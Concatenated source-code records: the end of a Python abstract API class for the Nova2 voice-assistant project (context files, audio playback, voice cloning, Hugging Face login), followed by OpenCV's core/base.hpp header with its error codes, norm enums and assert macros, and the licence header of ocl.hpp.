raise NotImplementedError
@abstractmethod
def add_datapoint_to_context(self, datapoint: ContextDatapointBase) -> None:
"""
Adds a pre-constructed ContextDatapoint to the context.
"""
raise NotImplementedError
@abstractmethod
def set_active_context_file(self, file_name: str = "") -> None:
"""
Changes the current context data to the one stored in the specified file.
Saves the currently active context data to the context file before changing.
Arguments:
file_name (str): The name of the file to load the context data from (without the .ctx extension). Defaults to a random UUID.
"""
raise NotImplementedError
@abstractmethod
def get_active_context_file(self) -> str:
"""
Returns the currently active context file.
Returns:
str: The path to the currently active context file.
"""
raise NotImplementedError
@abstractmethod
def get_all_context_files(self) -> list[str]:
"""
Returns all context files in the context folder.
Returns:
list[str]: A list of all context files in the context folder.
"""
raise NotImplementedError
@abstractmethod
def rename_context_file(self, old_name: str, new_name: str) -> None:
"""
Renames the currently active context file.
Arguments:
old_name (str): The current name of the context file (without the .ctx extension).
new_name (str): The new name for the context file (without the .ctx extension).
"""
raise NotImplementedError
@abstractmethod
def is_context_initialized(self) -> bool:
"""
Checks if a context file is set and initialized.
It is only possible to modify the context if it is initialized.
Returns:
bool: True if the context is initialized, False otherwise.
"""
raise NotImplementedError
@abstractmethod
def play_audio(self, audio_data: AudioDataBase) -> None:
"""
Use the built in audio player to play audio. Only accepts an AudioData object.
"""
raise NotImplementedError
@abstractmethod
def wait_for_audio_playback_end(self) -> None:
"""
Halts the code execution until the audio player is done playing the current audio.
"""
raise NotImplementedError
@abstractmethod
def is_playing_audio(self) -> bool:
"""
Checks whether the audio player is currently playing any audio.
"""
raise NotImplementedError
@abstractmethod
def clone_voice(self, engine: str, mp3file: Path, name: str) -> None:
"""
Clones a voice from an mp3 file and stores it (location determined by implementation).
After cloning, it should be usable by a compatible TTS inference engine.
Arguments:
engine (str): The name of the TTS inference engine that should be used to clone the voice.
mp3file (Path): The mp3 file containing a few seconds of speech of the voice that will be cloned.
name (str): What the voice should be called.
"""
raise NotImplementedError
@abstractmethod
def huggingface_login(self):
"""
Attempt to log into huggingface which is required to access restricted repos.
Should raise an exception if the login fails. Uses the credentials stored in the .env file.
"""
raise NotImplementedError
@abstractmethod
def stay_alive(self, condition: bool = True) -> None:
"""
Keeps the application running until the condition is False.
This is useful, because none of the internal logic of Nova2 inherently
keeps the program alive.
Arguments:
condition (bool): The application will stay alive, as long as this is True. It is recommended to parse a lambda expression. Defaults to True.
"""
raise NotImplementedError
| 9,655 | api_base | py | en | python | code | {"qsc_code_num_words": 1069, "qsc_code_num_chars": 9655.0, "qsc_code_mean_word_length": 5.76333022, "qsc_code_frac_words_unique": 0.24602432, "qsc_code_frac_chars_top_2grams": 0.08277877, "qsc_code_frac_chars_top_3grams": 0.17886707, "qsc_code_frac_chars_top_4grams": 0.19298815, "qsc_code_frac_chars_dupe_5grams": 0.36552508, "qsc_code_frac_chars_dupe_6grams": 0.26245739, "qsc_code_frac_chars_dupe_7grams": 0.21830872, "qsc_code_frac_chars_dupe_8grams": 0.17253693, "qsc_code_frac_chars_dupe_9grams": 0.15403344, "qsc_code_frac_chars_dupe_10grams": 0.12676514, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00131234, "qsc_code_frac_chars_whitespace": 0.28969446, "qsc_code_size_file_byte": 9655.0, "qsc_code_num_lines": 287.0, "qsc_code_num_chars_line_max": 185.0, "qsc_code_num_chars_line_mean": 33.64111498, "qsc_code_frac_chars_alphabet": 0.89705453, "qsc_code_frac_chars_comments": 0.4554117, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.56074766, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.28037383, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.03738318, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.3271028, "qsc_codepython_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 1, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 1, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/base.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2014, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_BASE_HPP
#define OPENCV_CORE_BASE_HPP
#ifndef __cplusplus
# error base.hpp header must be compiled as C++
#endif
#include "opencv2/opencv_modules.hpp"
#include <climits>
#include <algorithm>
#include "opencv2/core/cvdef.h"
#include "opencv2/core/cvstd.hpp"
namespace cv
{
//! @addtogroup core_utils
//! @{
namespace Error {
//! error codes
enum Code {
StsOk= 0, //!< everything is ok
StsBackTrace= -1, //!< pseudo error for back trace
StsError= -2, //!< unknown /unspecified error
StsInternal= -3, //!< internal error (bad state)
StsNoMem= -4, //!< insufficient memory
StsBadArg= -5, //!< function arg/param is bad
StsBadFunc= -6, //!< unsupported function
StsNoConv= -7, //!< iteration didn't converge
StsAutoTrace= -8, //!< tracing
HeaderIsNull= -9, //!< image header is NULL
BadImageSize= -10, //!< image size is invalid
BadOffset= -11, //!< offset is invalid
BadDataPtr= -12, //!<
BadStep= -13, //!< image step is wrong, this may happen for a non-continuous matrix.
BadModelOrChSeq= -14, //!<
BadNumChannels= -15, //!< bad number of channels, for example, some functions accept only single channel matrices.
BadNumChannel1U= -16, //!<
BadDepth= -17, //!< input image depth is not supported by the function
BadAlphaChannel= -18, //!<
BadOrder= -19, //!< number of dimensions is out of range
BadOrigin= -20, //!< incorrect input origin
BadAlign= -21, //!< incorrect input align
BadCallBack= -22, //!<
BadTileSize= -23, //!<
BadCOI= -24, //!< input COI is not supported
BadROISize= -25, //!< incorrect input roi
MaskIsTiled= -26, //!<
StsNullPtr= -27, //!< null pointer
StsVecLengthErr= -28, //!< incorrect vector length
StsFilterStructContentErr= -29, //!< incorrect filter structure content
StsKernelStructContentErr= -30, //!< incorrect transform kernel content
StsFilterOffsetErr= -31, //!< incorrect filter offset value
StsBadSize= -201, //!< the input/output structure size is incorrect
StsDivByZero= -202, //!< division by zero
StsInplaceNotSupported= -203, //!< in-place operation is not supported
StsObjectNotFound= -204, //!< request can't be completed
StsUnmatchedFormats= -205, //!< formats of input/output arrays differ
StsBadFlag= -206, //!< flag is wrong or not supported
StsBadPoint= -207, //!< bad CvPoint
StsBadMask= -208, //!< bad format of mask (neither 8uC1 nor 8sC1)
StsUnmatchedSizes= -209, //!< sizes of input/output structures do not match
StsUnsupportedFormat= -210, //!< the data format/type is not supported by the function
StsOutOfRange= -211, //!< some of parameters are out of range
StsParseError= -212, //!< invalid syntax/structure of the parsed file
StsNotImplemented= -213, //!< the requested function/feature is not implemented
StsBadMemBlock= -214, //!< an allocated block has been corrupted
StsAssert= -215, //!< assertion failed
GpuNotSupported= -216, //!< no CUDA support
GpuApiCallError= -217, //!< GPU API call error
OpenGlNotSupported= -218, //!< no OpenGL support
OpenGlApiCallError= -219, //!< OpenGL API call error
OpenCLApiCallError= -220, //!< OpenCL API call error
OpenCLDoubleNotSupported= -221,
OpenCLInitError= -222, //!< OpenCL initialization error
OpenCLNoAMDBlasFft= -223
};
} //Error
//! @} core_utils
//! @addtogroup core_array
//! @{
//! matrix decomposition types
enum DecompTypes {
/** Gaussian elimination with the optimal pivot element chosen. */
DECOMP_LU = 0,
/** singular value decomposition (SVD) method; the system can be over-defined and/or the matrix
src1 can be singular */
DECOMP_SVD = 1,
/** eigenvalue decomposition; the matrix src1 must be symmetrical */
DECOMP_EIG = 2,
/** Cholesky \f$LL^T\f$ factorization; the matrix src1 must be symmetrical and positively
defined */
DECOMP_CHOLESKY = 3,
/** QR factorization; the system can be over-defined and/or the matrix src1 can be singular */
DECOMP_QR = 4,
/** while all the previous flags are mutually exclusive, this flag can be used together with
any of the previous; it means that the normal equations
\f$\texttt{src1}^T\cdot\texttt{src1}\cdot\texttt{dst}=\texttt{src1}^T\texttt{src2}\f$ are
solved instead of the original system
\f$\texttt{src1}\cdot\texttt{dst}=\texttt{src2}\f$ */
DECOMP_NORMAL = 16
};
/** norm types
src1 and src2 denote input arrays.
*/
enum NormTypes {
/**
\f[
norm = \forkthree
{\|\texttt{src1}\|_{L_{\infty}} = \max _I | \texttt{src1} (I)|}{if \(\texttt{normType} = \texttt{NORM_INF}\) }
{\|\texttt{src1}-\texttt{src2}\|_{L_{\infty}} = \max _I | \texttt{src1} (I) - \texttt{src2} (I)|}{if \(\texttt{normType} = \texttt{NORM_INF}\) }
{\frac{\|\texttt{src1}-\texttt{src2}\|_{L_{\infty}} }{\|\texttt{src2}\|_{L_{\infty}} }}{if \(\texttt{normType} = \texttt{NORM_RELATIVE | NORM_INF}\) }
\f]
*/
NORM_INF = 1,
/**
\f[
norm = \forkthree
{\| \texttt{src1} \| _{L_1} = \sum _I | \texttt{src1} (I)|}{if \(\texttt{normType} = \texttt{NORM_L1}\)}
{ \| \texttt{src1} - \texttt{src2} \| _{L_1} = \sum _I | \texttt{src1} (I) - \texttt{src2} (I)|}{if \(\texttt{normType} = \texttt{NORM_L1}\) }
{ \frac{\|\texttt{src1}-\texttt{src2}\|_{L_1} }{\|\texttt{src2}\|_{L_1}} }{if \(\texttt{normType} = \texttt{NORM_RELATIVE | NORM_L1}\) }
\f]*/
NORM_L1 = 2,
/**
\f[
norm = \forkthree
{ \| \texttt{src1} \| _{L_2} = \sqrt{\sum_I \texttt{src1}(I)^2} }{if \(\texttt{normType} = \texttt{NORM_L2}\) }
{ \| \texttt{src1} - \texttt{src2} \| _{L_2} = \sqrt{\sum_I (\texttt{src1}(I) - \texttt{src2}(I))^2} }{if \(\texttt{normType} = \texttt{NORM_L2}\) }
{ \frac{\|\texttt{src1}-\texttt{src2}\|_{L_2} }{\|\texttt{src2}\|_{L_2}} }{if \(\texttt{normType} = \texttt{NORM_RELATIVE | NORM_L2}\) }
\f]
*/
NORM_L2 = 4,
/**
\f[
norm = \forkthree
{ \| \texttt{src1} \| _{L_2} ^{2} = \sum_I \texttt{src1}(I)^2} {if \(\texttt{normType} = \texttt{NORM_L2SQR}\)}
{ \| \texttt{src1} - \texttt{src2} \| _{L_2} ^{2} = \sum_I (\texttt{src1}(I) - \texttt{src2}(I))^2 }{if \(\texttt{normType} = \texttt{NORM_L2SQR}\) }
{ \left(\frac{\|\texttt{src1}-\texttt{src2}\|_{L_2} }{\|\texttt{src2}\|_{L_2}}\right)^2 }{if \(\texttt{normType} = \texttt{NORM_RELATIVE | NORM_L2SQR}\) }
\f]
*/
NORM_L2SQR = 5,
/**
In the case of one input array, calculates the Hamming distance of the array from zero,
In the case of two input arrays, calculates the Hamming distance between the arrays.
*/
NORM_HAMMING = 6,
/**
Similar to NORM_HAMMING, but in the calculation, each two bits of the input sequence will
be added and treated as a single bit to be used in the same calculation as NORM_HAMMING.
*/
NORM_HAMMING2 = 7,
NORM_TYPE_MASK = 7, //!< bit-mask which can be used to separate norm type from norm flags
NORM_RELATIVE = 8, //!< flag
NORM_MINMAX = 32 //!< flag
};
//! comparison types
enum CmpTypes { CMP_EQ = 0, //!< src1 is equal to src2.
CMP_GT = 1, //!< src1 is greater than src2.
CMP_GE = 2, //!< src1 is greater than or equal to src2.
CMP_LT = 3, //!< src1 is less than src2.
CMP_LE = 4, //!< src1 is less than or equal to src2.
CMP_NE = 5 //!< src1 is unequal to src2.
};
//! generalized matrix multiplication flags
enum GemmFlags { GEMM_1_T = 1, //!< transposes src1
GEMM_2_T = 2, //!< transposes src2
GEMM_3_T = 4 //!< transposes src3
};
enum DftFlags {
/** performs an inverse 1D or 2D transform instead of the default forward
transform. */
DFT_INVERSE = 1,
/** scales the result: divide it by the number of array elements. Normally, it is
combined with DFT_INVERSE. */
DFT_SCALE = 2,
/** performs a forward or inverse transform of every individual row of the input
matrix; this flag enables you to transform multiple vectors simultaneously and can be used to
decrease the overhead (which is sometimes several times larger than the processing itself) to
perform 3D and higher-dimensional transformations and so forth.*/
DFT_ROWS = 4,
/** performs a forward transformation of 1D or 2D real array; the result,
though being a complex array, has complex-conjugate symmetry (*CCS*, see the function
description below for details), and such an array can be packed into a real array of the same
size as input, which is the fastest option and which is what the function does by default;
however, you may wish to get a full complex array (for simpler spectrum analysis, and so on) -
pass the flag to enable the function to produce a full-size complex output array. */
DFT_COMPLEX_OUTPUT = 16,
/** performs an inverse transformation of a 1D or 2D complex array; the
result is normally a complex array of the same size, however, if the input array has
conjugate-complex symmetry (for example, it is a result of forward transformation with
DFT_COMPLEX_OUTPUT flag), the output is a real array; while the function itself does not
check whether the input is symmetrical or not, you can pass the flag and then the function
will assume the symmetry and produce the real output array (note that when the input is packed
into a real array and inverse transformation is executed, the function treats the input as a
packed complex-conjugate symmetrical array, and the output will also be a real array). */
DFT_REAL_OUTPUT = 32,
/** specifies that input is complex input. If this flag is set, the input must have 2 channels.
On the other hand, for backwards compatibility reason, if input has 2 channels, input is
already considered complex. */
DFT_COMPLEX_INPUT = 64,
/** performs an inverse 1D or 2D transform instead of the default forward transform. */
DCT_INVERSE = DFT_INVERSE,
/** performs a forward or inverse transform of every individual row of the input
matrix. This flag enables you to transform multiple vectors simultaneously and can be used to
decrease the overhead (which is sometimes several times larger than the processing itself) to
perform 3D and higher-dimensional transforms and so forth.*/
DCT_ROWS = DFT_ROWS
};
//! Various border types, image boundaries are denoted with `|`
//! @see borderInterpolate, copyMakeBorder
enum BorderTypes {
BORDER_CONSTANT = 0, //!< `iiiiii|abcdefgh|iiiiiii` with some specified `i`
BORDER_REPLICATE = 1, //!< `aaaaaa|abcdefgh|hhhhhhh`
BORDER_REFLECT = 2, //!< `fedcba|abcdefgh|hgfedcb`
BORDER_WRAP = 3, //!< `cdefgh|abcdefgh|abcdefg`
BORDER_REFLECT_101 = 4, //!< `gfedcb|abcdefgh|gfedcba`
BORDER_TRANSPARENT = 5, //!< `uvwxyz|abcdefgh|ijklmno`
BORDER_REFLECT101 = BORDER_REFLECT_101, //!< same as BORDER_REFLECT_101
BORDER_DEFAULT = BORDER_REFLECT_101, //!< same as BORDER_REFLECT_101
BORDER_ISOLATED = 16 //!< do not look outside of ROI
};
//! @} core_array
//! @addtogroup core_utils
//! @{
/*! @brief Signals an error and raises the exception.
By default the function prints information about the error to stderr,
then it either stops if setBreakOnError() had been called before or raises the exception.
It is possible to alternate error processing by using redirectError().
@param _code - error code (Error::Code)
@param _err - error description
@param _func - function name. Available only when the compiler supports getting it
@param _file - source file name where the error has occurred
@param _line - line number in the source file where the error has occurred
@see CV_Error, CV_Error_, CV_Assert, CV_DbgAssert
*/
CV_EXPORTS CV_NORETURN void error(int _code, const String& _err, const char* _func, const char* _file, int _line);
#ifdef CV_STATIC_ANALYSIS
// In practice, some macro are not processed correctly (noreturn is not detected).
// We need to use simplified definition for them.
#define CV_Error(code, msg) do { (void)(code); (void)(msg); abort(); } while (0)
#define CV_Error_(code, args) do { (void)(code); (void)(cv::format args); abort(); } while (0)
#define CV_Assert( expr ) do { if (!(expr)) abort(); } while (0)
#else // CV_STATIC_ANALYSIS
/** @brief Call the error handler.
Currently, the error handler prints the error code and the error message to the standard
error stream `stderr`. In the Debug configuration, it then provokes memory access violation, so that
the execution stack and all the parameters can be analyzed by the debugger. In the Release
configuration, the exception is thrown.
@param code one of Error::Code
@param msg error message
*/
#define CV_Error( code, msg ) cv::error( code, msg, CV_Func, __FILE__, __LINE__ )
/** @brief Call the error handler.
This macro can be used to construct an error message on-fly to include some dynamic information,
for example:
@code
// note the extra parentheses around the formatted text message
CV_Error_(Error::StsOutOfRange,
("the value at (%d, %d)=%g is out of range", badPt.x, badPt.y, badValue));
@endcode
@param code one of Error::Code
@param args printf-like formatted error message in parentheses
*/
#define CV_Error_( code, args ) cv::error( code, cv::format args, CV_Func, __FILE__, __LINE__ )
/** @brief Checks a condition at runtime and throws exception if it fails
The macros CV_Assert (and CV_DbgAssert(expr)) evaluate the specified expression. If it is 0, the macros
raise an error (see cv::error). The macro CV_Assert checks the condition in both Debug and Release
configurations while CV_DbgAssert is only retained in the Debug configuration.
*/
#define CV_Assert( expr ) do { if(!!(expr)) ; else cv::error( cv::Error::StsAssert, #expr, CV_Func, __FILE__, __LINE__ ); } while(0)
#endif // CV_STATIC_ANALYSIS
//! @cond IGNORED
#if !defined(__OPENCV_BUILD) // TODO: backward compatibility only
#ifndef CV_ErrorNoReturn
#define CV_ErrorNoReturn CV_Error
#endif
#ifndef CV_ErrorNoReturn_
#define CV_ErrorNoReturn_ CV_Error_
#endif
#endif
#define CV_Assert_1 CV_Assert
#define CV_Assert_2( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_1( __VA_ARGS__ ))
#define CV_Assert_3( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_2( __VA_ARGS__ ))
#define CV_Assert_4( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_3( __VA_ARGS__ ))
#define CV_Assert_5( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_4( __VA_ARGS__ ))
#define CV_Assert_6( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_5( __VA_ARGS__ ))
#define CV_Assert_7( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_6( __VA_ARGS__ ))
#define CV_Assert_8( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_7( __VA_ARGS__ ))
#define CV_Assert_9( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_8( __VA_ARGS__ ))
#define CV_Assert_10( expr, ... ) CV_Assert_1(expr); __CV_EXPAND(CV_Assert_9( __VA_ARGS__ ))
#define CV_Assert_N(...) do { __CV_EXPAND(__CV_CAT(CV_Assert_, __CV_VA_NUM_ARGS(__VA_ARGS__)) (__VA_ARGS__)); } while(0)
//! @endcond
#if defined _DEBUG || defined CV_STATIC_ANALYSIS
# define CV_DbgAssert(expr) CV_Assert(expr)
#else
/** replaced with CV_Assert(expr) in Debug configuration */
# define CV_DbgAssert(expr)
#endif
/*
* Hamming distance functor - counts the bit differences between two strings - useful for the Brief descriptor
* bit count of A exclusive XOR'ed with B
*/
struct CV_EXPORTS Hamming
{
static const NormTypes normType = NORM_HAMMING;
typedef unsigned char ValueType;
typedef int ResultType;
/** this will count the bits in a ^ b
*/
ResultType operator()( const unsigned char* a, const unsigned char* b, int size ) const;
};
typedef Hamming HammingLUT;
/////////////////////////////////// inline norms ////////////////////////////////////
template<typename _Tp> inline _Tp cv_abs(_Tp x) { return std::abs(x); }
inline int cv_abs(uchar x) { return x; }
inline int cv_abs(schar x) { return std::abs(x); }
inline int cv_abs(ushort x) { return x; }
inline int cv_abs(short x) { return std::abs(x); }
template<typename _Tp, typename _AccTp> static inline
_AccTp normL2Sqr(const _Tp* a, int n)
{
_AccTp s = 0;
int i=0;
#if CV_ENABLE_UNROLLED
for( ; i <= n - 4; i += 4 )
{
_AccTp v0 = a[i], v1 = a[i+1], v2 = a[i+2], v3 = a[i+3];
s += v0*v0 + v1*v1 + v2*v2 + v3*v3;
}
#endif
for( ; i < n; i++ )
{
_AccTp v = a[i];
s += v*v;
}
return s;
}
template<typename _Tp, typename _AccTp> static inline
_AccTp normL1(const _Tp* a, int n)
{
_AccTp s = 0;
int i = 0;
#if CV_ENABLE_UNROLLED
for(; i <= n - 4; i += 4 )
{
s += (_AccTp)cv_abs(a[i]) + (_AccTp)cv_abs(a[i+1]) +
(_AccTp)cv_abs(a[i+2]) + (_AccTp)cv_abs(a[i+3]);
}
#endif
for( ; i < n; i++ )
s += cv_abs(a[i]);
return s;
}
template<typename _Tp, typename _AccTp> static inline
_AccTp normInf(const _Tp* a, int n)
{
_AccTp s = 0;
for( int i = 0; i < n; i++ )
s = std::max(s, (_AccTp)cv_abs(a[i]));
return s;
}
template<typename _Tp, typename _AccTp> static inline
_AccTp normL2Sqr(const _Tp* a, const _Tp* b, int n)
{
_AccTp s = 0;
int i= 0;
#if CV_ENABLE_UNROLLED
for(; i <= n - 4; i += 4 )
{
_AccTp v0 = _AccTp(a[i] - b[i]), v1 = _AccTp(a[i+1] - b[i+1]), v2 = _AccTp(a[i+2] - b[i+2]), v3 = _AccTp(a[i+3] - b[i+3]);
s += v0*v0 + v1*v1 + v2*v2 + v3*v3;
}
#endif
for( ; i < n; i++ )
{
_AccTp v = _AccTp(a[i] - b[i]);
s += v*v;
}
return s;
}
static inline float normL2Sqr(const float* a, const float* b, int n)
{
float s = 0.f;
for( int i = 0; i < n; i++ )
{
float v = a[i] - b[i];
s += v*v;
}
return s;
}
template<typename _Tp, typename _AccTp> static inline
_AccTp normL1(const _Tp* a, const _Tp* b, int n)
{
_AccTp s = 0;
int i= 0;
#if CV_ENABLE_UNROLLED
for(; i <= n - 4; i += 4 )
{
_AccTp v0 = _AccTp(a[i] - b[i]), v1 = _AccTp(a[i+1] - b[i+1]), v2 = _AccTp(a[i+2] - b[i+2]), v3 = _AccTp(a[i+3] - b[i+3]);
s += std::abs(v0) + std::abs(v1) + std::abs(v2) + std::abs(v3);
}
#endif
for( ; i < n; i++ )
{
_AccTp v = _AccTp(a[i] - b[i]);
s += std::abs(v);
}
return s;
}
inline float normL1(const float* a, const float* b, int n)
{
float s = 0.f;
for( int i = 0; i < n; i++ )
{
s += std::abs(a[i] - b[i]);
}
return s;
}
inline int normL1(const uchar* a, const uchar* b, int n)
{
int s = 0;
for( int i = 0; i < n; i++ )
{
s += std::abs(a[i] - b[i]);
}
return s;
}
template<typename _Tp, typename _AccTp> static inline
_AccTp normInf(const _Tp* a, const _Tp* b, int n)
{
_AccTp s = 0;
for( int i = 0; i < n; i++ )
{
_AccTp v0 = a[i] - b[i];
s = std::max(s, std::abs(v0));
}
return s;
}
/** @brief Computes the cube root of an argument.
The function cubeRoot computes \f$\sqrt[3]{\texttt{val}}\f$. Negative arguments are handled correctly.
NaN and Inf are not handled. The accuracy approaches the maximum possible accuracy for
single-precision data.
@param val A function argument.
*/
CV_EXPORTS_W float cubeRoot(float val);
/** @brief Calculates the angle of a 2D vector in degrees.
The function fastAtan2 calculates the full-range angle of an input 2D vector. The angle is measured
in degrees and varies from 0 to 360 degrees. The accuracy is about 0.3 degrees.
@param x x-coordinate of the vector.
@param y y-coordinate of the vector.
*/
CV_EXPORTS_W float fastAtan2(float y, float x);
/** proxy for hal::LU */
CV_EXPORTS int LU(float* A, size_t astep, int m, float* b, size_t bstep, int n);
/** proxy for hal::LU */
CV_EXPORTS int LU(double* A, size_t astep, int m, double* b, size_t bstep, int n);
/** proxy for hal::Cholesky */
CV_EXPORTS bool Cholesky(float* A, size_t astep, int m, float* b, size_t bstep, int n);
/** proxy for hal::Cholesky */
CV_EXPORTS bool Cholesky(double* A, size_t astep, int m, double* b, size_t bstep, int n);
////////////////// forward declarations for important OpenCV types //////////////////
//! @cond IGNORED
template<typename _Tp, int cn> class Vec;
template<typename _Tp, int m, int n> class Matx;
template<typename _Tp> class Complex;
template<typename _Tp> class Point_;
template<typename _Tp> class Point3_;
template<typename _Tp> class Size_;
template<typename _Tp> class Rect_;
template<typename _Tp> class Scalar_;
class CV_EXPORTS RotatedRect;
class CV_EXPORTS Range;
class CV_EXPORTS TermCriteria;
class CV_EXPORTS KeyPoint;
class CV_EXPORTS DMatch;
class CV_EXPORTS RNG;
class CV_EXPORTS Mat;
class CV_EXPORTS MatExpr;
class CV_EXPORTS UMat;
class CV_EXPORTS SparseMat;
typedef Mat MatND;
template<typename _Tp> class Mat_;
template<typename _Tp> class SparseMat_;
class CV_EXPORTS MatConstIterator;
class CV_EXPORTS SparseMatIterator;
class CV_EXPORTS SparseMatConstIterator;
template<typename _Tp> class MatIterator_;
template<typename _Tp> class MatConstIterator_;
template<typename _Tp> class SparseMatIterator_;
template<typename _Tp> class SparseMatConstIterator_;
namespace ogl
{
class CV_EXPORTS Buffer;
class CV_EXPORTS Texture2D;
class CV_EXPORTS Arrays;
}
namespace cuda
{
class CV_EXPORTS GpuMat;
class CV_EXPORTS HostMem;
class CV_EXPORTS Stream;
class CV_EXPORTS Event;
}
namespace cudev
{
template <typename _Tp> class GpuMat_;
}
namespace ipp
{
CV_EXPORTS unsigned long long getIppFeatures();
CV_EXPORTS void setIppStatus(int status, const char * const funcname = NULL, const char * const filename = NULL,
int line = 0);
CV_EXPORTS int getIppStatus();
CV_EXPORTS String getIppErrorLocation();
CV_EXPORTS_W bool useIPP();
CV_EXPORTS_W void setUseIPP(bool flag);
CV_EXPORTS_W String getIppVersion();
// IPP Not-Exact mode. This function may force use of IPP then both IPP and OpenCV provide proper results
// but have internal accuracy differences which have too much direct or indirect impact on accuracy tests.
CV_EXPORTS_W bool useIPP_NotExact();
CV_EXPORTS_W void setUseIPP_NotExact(bool flag);
#ifndef DISABLE_OPENCV_3_COMPATIBILITY
static inline bool useIPP_NE() { return useIPP_NotExact(); }
static inline void setUseIPP_NE(bool flag) { setUseIPP_NotExact(flag); }
#endif
} // ipp
//! @endcond
//! @} core_utils
} // cv
#include "opencv2/core/neon_utils.hpp"
#include "opencv2/core/vsx_utils.hpp"
#include "opencv2/core/check.hpp"
#endif //OPENCV_CORE_BASE_HPP
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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/ocl.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the OpenCV Foundation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
